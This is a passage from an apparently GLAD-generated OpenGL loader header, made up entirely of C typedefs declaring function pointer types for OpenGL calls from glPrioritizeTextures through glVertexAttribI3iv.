typedef void (GLAD_API_PTR *PFNGLPRIORITIZETEXTURESPROC)(GLsizei n, const GLuint * textures, const GLfloat * priorities);
typedef void (GLAD_API_PTR *PFNGLPROGRAMBINARYPROC)(GLuint program, GLenum binaryFormat, const void * binary, GLsizei length);
typedef void (GLAD_API_PTR *PFNGLPROGRAMPARAMETERIPROC)(GLuint program, GLenum pname, GLint value);
typedef void (GLAD_API_PTR *PFNGLPROVOKINGVERTEXPROC)(GLenum mode);
typedef void (GLAD_API_PTR *PFNGLPUSHATTRIBPROC)(GLbitfield mask);
typedef void (GLAD_API_PTR *PFNGLPUSHCLIENTATTRIBPROC)(GLbitfield mask);
typedef void (GLAD_API_PTR *PFNGLPUSHMATRIXPROC)(void);
typedef void (GLAD_API_PTR *PFNGLPUSHNAMEPROC)(GLuint name);
typedef void (GLAD_API_PTR *PFNGLQUERYCOUNTERPROC)(GLuint id, GLenum target);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS2DPROC)(GLdouble x, GLdouble y);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS2DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS2FPROC)(GLfloat x, GLfloat y);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS2FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS2IPROC)(GLint x, GLint y);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS2IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS2SPROC)(GLshort x, GLshort y);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS2SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS3DPROC)(GLdouble x, GLdouble y, GLdouble z);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS3DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS3FPROC)(GLfloat x, GLfloat y, GLfloat z);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS3FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS3IPROC)(GLint x, GLint y, GLint z);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS3IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS3SPROC)(GLshort x, GLshort y, GLshort z);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS3SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS4DPROC)(GLdouble x, GLdouble y, GLdouble z, GLdouble w);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS4DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS4FPROC)(GLfloat x, GLfloat y, GLfloat z, GLfloat w);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS4FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS4IPROC)(GLint x, GLint y, GLint z, GLint w);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS4IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS4SPROC)(GLshort x, GLshort y, GLshort z, GLshort w);
typedef void (GLAD_API_PTR *PFNGLRASTERPOS4SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLREADBUFFERPROC)(GLenum src);
typedef void (GLAD_API_PTR *PFNGLREADPIXELSPROC)(GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, void * pixels);
typedef void (GLAD_API_PTR *PFNGLRECTDPROC)(GLdouble x1, GLdouble y1, GLdouble x2, GLdouble y2);
typedef void (GLAD_API_PTR *PFNGLRECTDVPROC)(const GLdouble * v1, const GLdouble * v2);
typedef void (GLAD_API_PTR *PFNGLRECTFPROC)(GLfloat x1, GLfloat y1, GLfloat x2, GLfloat y2);
typedef void (GLAD_API_PTR *PFNGLRECTFVPROC)(const GLfloat * v1, const GLfloat * v2);
typedef void (GLAD_API_PTR *PFNGLRECTIPROC)(GLint x1, GLint y1, GLint x2, GLint y2);
typedef void (GLAD_API_PTR *PFNGLRECTIVPROC)(const GLint * v1, const GLint * v2);
typedef void (GLAD_API_PTR *PFNGLRECTSPROC)(GLshort x1, GLshort y1, GLshort x2, GLshort y2);
typedef void (GLAD_API_PTR *PFNGLRECTSVPROC)(const GLshort * v1, const GLshort * v2);
typedef GLint (GLAD_API_PTR *PFNGLRENDERMODEPROC)(GLenum mode);
typedef void (GLAD_API_PTR *PFNGLRENDERBUFFERSTORAGEPROC)(GLenum target, GLenum internalformat, GLsizei width, GLsizei height);
typedef void (GLAD_API_PTR *PFNGLRENDERBUFFERSTORAGEEXTPROC)(GLenum target, GLenum internalformat, GLsizei width, GLsizei height);
typedef void (GLAD_API_PTR *PFNGLRENDERBUFFERSTORAGEMULTISAMPLEPROC)(GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height);
typedef void (GLAD_API_PTR *PFNGLRENDERBUFFERSTORAGEMULTISAMPLEEXTPROC)(GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height);
typedef void (GLAD_API_PTR *PFNGLROTATEDPROC)(GLdouble angle, GLdouble x, GLdouble y, GLdouble z);
typedef void (GLAD_API_PTR *PFNGLROTATEFPROC)(GLfloat angle, GLfloat x, GLfloat y, GLfloat z);
typedef void (GLAD_API_PTR *PFNGLSAMPLECOVERAGEPROC)(GLfloat value, GLboolean invert);
typedef void (GLAD_API_PTR *PFNGLSAMPLEMASKIPROC)(GLuint maskNumber, GLbitfield mask);
typedef void (GLAD_API_PTR *PFNGLSAMPLERPARAMETERIIVPROC)(GLuint sampler, GLenum pname, const GLint * param);
typedef void (GLAD_API_PTR *PFNGLSAMPLERPARAMETERIUIVPROC)(GLuint sampler, GLenum pname, const GLuint * param);
typedef void (GLAD_API_PTR *PFNGLSAMPLERPARAMETERFPROC)(GLuint sampler, GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLSAMPLERPARAMETERFVPROC)(GLuint sampler, GLenum pname, const GLfloat * param);
typedef void (GLAD_API_PTR *PFNGLSAMPLERPARAMETERIPROC)(GLuint sampler, GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLSAMPLERPARAMETERIVPROC)(GLuint sampler, GLenum pname, const GLint * param);
typedef void (GLAD_API_PTR *PFNGLSCALEDPROC)(GLdouble x, GLdouble y, GLdouble z);
typedef void (GLAD_API_PTR *PFNGLSCALEFPROC)(GLfloat x, GLfloat y, GLfloat z);
typedef void (GLAD_API_PTR *PFNGLSCISSORPROC)(GLint x, GLint y, GLsizei width, GLsizei height);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3BPROC)(GLbyte red, GLbyte green, GLbyte blue);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3BVPROC)(const GLbyte * v);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3DPROC)(GLdouble red, GLdouble green, GLdouble blue);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3FPROC)(GLfloat red, GLfloat green, GLfloat blue);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3IPROC)(GLint red, GLint green, GLint blue);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3SPROC)(GLshort red, GLshort green, GLshort blue);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3UBPROC)(GLubyte red, GLubyte green, GLubyte blue);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3UBVPROC)(const GLubyte * v);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3UIPROC)(GLuint red, GLuint green, GLuint blue);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3UIVPROC)(const GLuint * v);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3USPROC)(GLushort red, GLushort green, GLushort blue);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLOR3USVPROC)(const GLushort * v);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLORP3UIPROC)(GLenum type, GLuint color);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLORP3UIVPROC)(GLenum type, const GLuint * color);
typedef void (GLAD_API_PTR *PFNGLSECONDARYCOLORPOINTERPROC)(GLint size, GLenum type, GLsizei stride, const void * pointer);
typedef void (GLAD_API_PTR *PFNGLSELECTBUFFERPROC)(GLsizei size, GLuint * buffer);
typedef void (GLAD_API_PTR *PFNGLSHADEMODELPROC)(GLenum mode);
typedef void (GLAD_API_PTR *PFNGLSHADERSOURCEPROC)(GLuint shader, GLsizei count, const GLchar *const* string, const GLint * length);
typedef void (GLAD_API_PTR *PFNGLSTENCILFUNCPROC)(GLenum func, GLint ref, GLuint mask);
typedef void (GLAD_API_PTR *PFNGLSTENCILFUNCSEPARATEPROC)(GLenum face, GLenum func, GLint ref, GLuint mask);
typedef void (GLAD_API_PTR *PFNGLSTENCILMASKPROC)(GLuint mask);
typedef void (GLAD_API_PTR *PFNGLSTENCILMASKSEPARATEPROC)(GLenum face, GLuint mask);
typedef void (GLAD_API_PTR *PFNGLSTENCILOPPROC)(GLenum fail, GLenum zfail, GLenum zpass);
typedef void (GLAD_API_PTR *PFNGLSTENCILOPSEPARATEPROC)(GLenum face, GLenum sfail, GLenum dpfail, GLenum dppass);
typedef void (GLAD_API_PTR *PFNGLTEXBUFFERPROC)(GLenum target, GLenum internalformat, GLuint buffer);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD1DPROC)(GLdouble s);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD1DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD1FPROC)(GLfloat s);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD1FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD1IPROC)(GLint s);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD1IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD1SPROC)(GLshort s);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD1SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD2DPROC)(GLdouble s, GLdouble t);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD2DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD2FPROC)(GLfloat s, GLfloat t);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD2FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD2IPROC)(GLint s, GLint t);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD2IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD2SPROC)(GLshort s, GLshort t);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD2SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD3DPROC)(GLdouble s, GLdouble t, GLdouble r);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD3DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD3FPROC)(GLfloat s, GLfloat t, GLfloat r);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD3FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD3IPROC)(GLint s, GLint t, GLint r);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD3IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD3SPROC)(GLshort s, GLshort t, GLshort r);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD3SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD4DPROC)(GLdouble s, GLdouble t, GLdouble r, GLdouble q);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD4DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD4FPROC)(GLfloat s, GLfloat t, GLfloat r, GLfloat q);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD4FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD4IPROC)(GLint s, GLint t, GLint r, GLint q);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD4IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD4SPROC)(GLshort s, GLshort t, GLshort r, GLshort q);
typedef void (GLAD_API_PTR *PFNGLTEXCOORD4SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLTEXCOORDP1UIPROC)(GLenum type, GLuint coords);
typedef void (GLAD_API_PTR *PFNGLTEXCOORDP1UIVPROC)(GLenum type, const GLuint * coords);
typedef void (GLAD_API_PTR *PFNGLTEXCOORDP2UIPROC)(GLenum type, GLuint coords);
typedef void (GLAD_API_PTR *PFNGLTEXCOORDP2UIVPROC)(GLenum type, const GLuint * coords);
typedef void (GLAD_API_PTR *PFNGLTEXCOORDP3UIPROC)(GLenum type, GLuint coords);
typedef void (GLAD_API_PTR *PFNGLTEXCOORDP3UIVPROC)(GLenum type, const GLuint * coords);
typedef void (GLAD_API_PTR *PFNGLTEXCOORDP4UIPROC)(GLenum type, GLuint coords);
typedef void (GLAD_API_PTR *PFNGLTEXCOORDP4UIVPROC)(GLenum type, const GLuint * coords);
typedef void (GLAD_API_PTR *PFNGLTEXCOORDPOINTERPROC)(GLint size, GLenum type, GLsizei stride, const void * pointer);
typedef void (GLAD_API_PTR *PFNGLTEXENVFPROC)(GLenum target, GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLTEXENVFVPROC)(GLenum target, GLenum pname, const GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLTEXENVIPROC)(GLenum target, GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLTEXENVIVPROC)(GLenum target, GLenum pname, const GLint * params);
typedef void (GLAD_API_PTR *PFNGLTEXGENDPROC)(GLenum coord, GLenum pname, GLdouble param);
typedef void (GLAD_API_PTR *PFNGLTEXGENDVPROC)(GLenum coord, GLenum pname, const GLdouble * params);
typedef void (GLAD_API_PTR *PFNGLTEXGENFPROC)(GLenum coord, GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLTEXGENFVPROC)(GLenum coord, GLenum pname, const GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLTEXGENIPROC)(GLenum coord, GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLTEXGENIVPROC)(GLenum coord, GLenum pname, const GLint * params);
typedef void (GLAD_API_PTR *PFNGLTEXIMAGE1DPROC)(GLenum target, GLint level, GLint internalformat, GLsizei width, GLint border, GLenum format, GLenum type, const void * pixels);
typedef void (GLAD_API_PTR *PFNGLTEXIMAGE2DPROC)(GLenum target, GLint level, GLint internalformat, GLsizei width, GLsizei height, GLint border, GLenum format, GLenum type, const void * pixels);
typedef void (GLAD_API_PTR *PFNGLTEXIMAGE2DMULTISAMPLEPROC)(GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height, GLboolean fixedsamplelocations);
typedef void (GLAD_API_PTR *PFNGLTEXIMAGE3DPROC)(GLenum target, GLint level, GLint internalformat, GLsizei width, GLsizei height, GLsizei depth, GLint border, GLenum format, GLenum type, const void * pixels);
typedef void (GLAD_API_PTR *PFNGLTEXIMAGE3DMULTISAMPLEPROC)(GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth, GLboolean fixedsamplelocations);
typedef void (GLAD_API_PTR *PFNGLTEXPARAMETERIIVPROC)(GLenum target, GLenum pname, const GLint * params);
typedef void (GLAD_API_PTR *PFNGLTEXPARAMETERIUIVPROC)(GLenum target, GLenum pname, const GLuint * params);
typedef void (GLAD_API_PTR *PFNGLTEXPARAMETERFPROC)(GLenum target, GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLTEXPARAMETERFVPROC)(GLenum target, GLenum pname, const GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLTEXPARAMETERIPROC)(GLenum target, GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLTEXPARAMETERIVPROC)(GLenum target, GLenum pname, const GLint * params);
typedef void (GLAD_API_PTR *PFNGLTEXSUBIMAGE1DPROC)(GLenum target, GLint level, GLint xoffset, GLsizei width, GLenum format, GLenum type, const void * pixels);
typedef void (GLAD_API_PTR *PFNGLTEXSUBIMAGE2DPROC)(GLenum target, GLint level, GLint xoffset, GLint yoffset, GLsizei width, GLsizei height, GLenum format, GLenum type, const void * pixels);
typedef void (GLAD_API_PTR *PFNGLTEXSUBIMAGE3DPROC)(GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLenum type, const void * pixels);
typedef void (GLAD_API_PTR *PFNGLTRANSFORMFEEDBACKVARYINGSPROC)(GLuint program, GLsizei count, const GLchar *const* varyings, GLenum bufferMode);
typedef void (GLAD_API_PTR *PFNGLTRANSLATEDPROC)(GLdouble x, GLdouble y, GLdouble z);
typedef void (GLAD_API_PTR *PFNGLTRANSLATEFPROC)(GLfloat x, GLfloat y, GLfloat z);
typedef void (GLAD_API_PTR *PFNGLUNIFORM1FPROC)(GLint location, GLfloat v0);
typedef void (GLAD_API_PTR *PFNGLUNIFORM1FVPROC)(GLint location, GLsizei count, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM1IPROC)(GLint location, GLint v0);
typedef void (GLAD_API_PTR *PFNGLUNIFORM1IVPROC)(GLint location, GLsizei count, const GLint * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM1UIPROC)(GLint location, GLuint v0);
typedef void (GLAD_API_PTR *PFNGLUNIFORM1UIVPROC)(GLint location, GLsizei count, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM2FPROC)(GLint location, GLfloat v0, GLfloat v1);
typedef void (GLAD_API_PTR *PFNGLUNIFORM2FVPROC)(GLint location, GLsizei count, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM2IPROC)(GLint location, GLint v0, GLint v1);
typedef void (GLAD_API_PTR *PFNGLUNIFORM2IVPROC)(GLint location, GLsizei count, const GLint * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM2UIPROC)(GLint location, GLuint v0, GLuint v1);
typedef void (GLAD_API_PTR *PFNGLUNIFORM2UIVPROC)(GLint location, GLsizei count, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM3FPROC)(GLint location, GLfloat v0, GLfloat v1, GLfloat v2);
typedef void (GLAD_API_PTR *PFNGLUNIFORM3FVPROC)(GLint location, GLsizei count, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM3IPROC)(GLint location, GLint v0, GLint v1, GLint v2);
typedef void (GLAD_API_PTR *PFNGLUNIFORM3IVPROC)(GLint location, GLsizei count, const GLint * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM3UIPROC)(GLint location, GLuint v0, GLuint v1, GLuint v2);
typedef void (GLAD_API_PTR *PFNGLUNIFORM3UIVPROC)(GLint location, GLsizei count, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM4FPROC)(GLint location, GLfloat v0, GLfloat v1, GLfloat v2, GLfloat v3);
typedef void (GLAD_API_PTR *PFNGLUNIFORM4FVPROC)(GLint location, GLsizei count, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM4IPROC)(GLint location, GLint v0, GLint v1, GLint v2, GLint v3);
typedef void (GLAD_API_PTR *PFNGLUNIFORM4IVPROC)(GLint location, GLsizei count, const GLint * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORM4UIPROC)(GLint location, GLuint v0, GLuint v1, GLuint v2, GLuint v3);
typedef void (GLAD_API_PTR *PFNGLUNIFORM4UIVPROC)(GLint location, GLsizei count, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORMBLOCKBINDINGPROC)(GLuint program, GLuint uniformBlockIndex, GLuint uniformBlockBinding);
typedef void (GLAD_API_PTR *PFNGLUNIFORMMATRIX2FVPROC)(GLint location, GLsizei count, GLboolean transpose, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORMMATRIX2X3FVPROC)(GLint location, GLsizei count, GLboolean transpose, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORMMATRIX2X4FVPROC)(GLint location, GLsizei count, GLboolean transpose, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORMMATRIX3FVPROC)(GLint location, GLsizei count, GLboolean transpose, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORMMATRIX3X2FVPROC)(GLint location, GLsizei count, GLboolean transpose, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORMMATRIX3X4FVPROC)(GLint location, GLsizei count, GLboolean transpose, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORMMATRIX4FVPROC)(GLint location, GLsizei count, GLboolean transpose, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORMMATRIX4X2FVPROC)(GLint location, GLsizei count, GLboolean transpose, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLUNIFORMMATRIX4X3FVPROC)(GLint location, GLsizei count, GLboolean transpose, const GLfloat * value);
typedef GLboolean (GLAD_API_PTR *PFNGLUNMAPBUFFERPROC)(GLenum target);
typedef void (GLAD_API_PTR *PFNGLUSEPROGRAMPROC)(GLuint program);
typedef void (GLAD_API_PTR *PFNGLVALIDATEPROGRAMPROC)(GLuint program);
typedef void (GLAD_API_PTR *PFNGLVERTEX2DPROC)(GLdouble x, GLdouble y);
typedef void (GLAD_API_PTR *PFNGLVERTEX2DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX2FPROC)(GLfloat x, GLfloat y);
typedef void (GLAD_API_PTR *PFNGLVERTEX2FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX2IPROC)(GLint x, GLint y);
typedef void (GLAD_API_PTR *PFNGLVERTEX2IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX2SPROC)(GLshort x, GLshort y);
typedef void (GLAD_API_PTR *PFNGLVERTEX2SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX3DPROC)(GLdouble x, GLdouble y, GLdouble z);
typedef void (GLAD_API_PTR *PFNGLVERTEX3DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX3FPROC)(GLfloat x, GLfloat y, GLfloat z);
typedef void (GLAD_API_PTR *PFNGLVERTEX3FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX3IPROC)(GLint x, GLint y, GLint z);
typedef void (GLAD_API_PTR *PFNGLVERTEX3IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX3SPROC)(GLshort x, GLshort y, GLshort z);
typedef void (GLAD_API_PTR *PFNGLVERTEX3SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX4DPROC)(GLdouble x, GLdouble y, GLdouble z, GLdouble w);
typedef void (GLAD_API_PTR *PFNGLVERTEX4DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX4FPROC)(GLfloat x, GLfloat y, GLfloat z, GLfloat w);
typedef void (GLAD_API_PTR *PFNGLVERTEX4FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX4IPROC)(GLint x, GLint y, GLint z, GLint w);
typedef void (GLAD_API_PTR *PFNGLVERTEX4IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEX4SPROC)(GLshort x, GLshort y, GLshort z, GLshort w);
typedef void (GLAD_API_PTR *PFNGLVERTEX4SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB1DPROC)(GLuint index, GLdouble x);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB1DVPROC)(GLuint index, const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB1FPROC)(GLuint index, GLfloat x);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB1FVPROC)(GLuint index, const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB1SPROC)(GLuint index, GLshort x);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB1SVPROC)(GLuint index, const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB2DPROC)(GLuint index, GLdouble x, GLdouble y);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB2DVPROC)(GLuint index, const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB2FPROC)(GLuint index, GLfloat x, GLfloat y);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB2FVPROC)(GLuint index, const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB2SPROC)(GLuint index, GLshort x, GLshort y);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB2SVPROC)(GLuint index, const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB3DPROC)(GLuint index, GLdouble x, GLdouble y, GLdouble z);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB3DVPROC)(GLuint index, const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB3FPROC)(GLuint index, GLfloat x, GLfloat y, GLfloat z);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB3FVPROC)(GLuint index, const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB3SPROC)(GLuint index, GLshort x, GLshort y, GLshort z);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB3SVPROC)(GLuint index, const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4NBVPROC)(GLuint index, const GLbyte * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4NIVPROC)(GLuint index, const GLint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4NSVPROC)(GLuint index, const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4NUBPROC)(GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4NUBVPROC)(GLuint index, const GLubyte * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4NUIVPROC)(GLuint index, const GLuint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4NUSVPROC)(GLuint index, const GLushort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4BVPROC)(GLuint index, const GLbyte * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4DPROC)(GLuint index, GLdouble x, GLdouble y, GLdouble z, GLdouble w);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4DVPROC)(GLuint index, const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4FPROC)(GLuint index, GLfloat x, GLfloat y, GLfloat z, GLfloat w);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4FVPROC)(GLuint index, const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4IVPROC)(GLuint index, const GLint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4SPROC)(GLuint index, GLshort x, GLshort y, GLshort z, GLshort w);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4SVPROC)(GLuint index, const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4UBVPROC)(GLuint index, const GLubyte * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4UIVPROC)(GLuint index, const GLuint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIB4USVPROC)(GLuint index, const GLushort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBDIVISORPROC)(GLuint index, GLuint divisor);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI1IPROC)(GLuint index, GLint x);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI1IVPROC)(GLuint index, const GLint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI1UIPROC)(GLuint index, GLuint x);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI1UIVPROC)(GLuint index, const GLuint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI2IPROC)(GLuint index, GLint x, GLint y);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI2IVPROC)(GLuint index, const GLint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI2UIPROC)(GLuint index, GLuint x, GLuint y);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI2UIVPROC)(GLuint index, const GLuint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI3IPROC)(GLuint index, GLint x, GLint y, GLint z);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI3IVPROC)(GLuint index, const GLint * v);
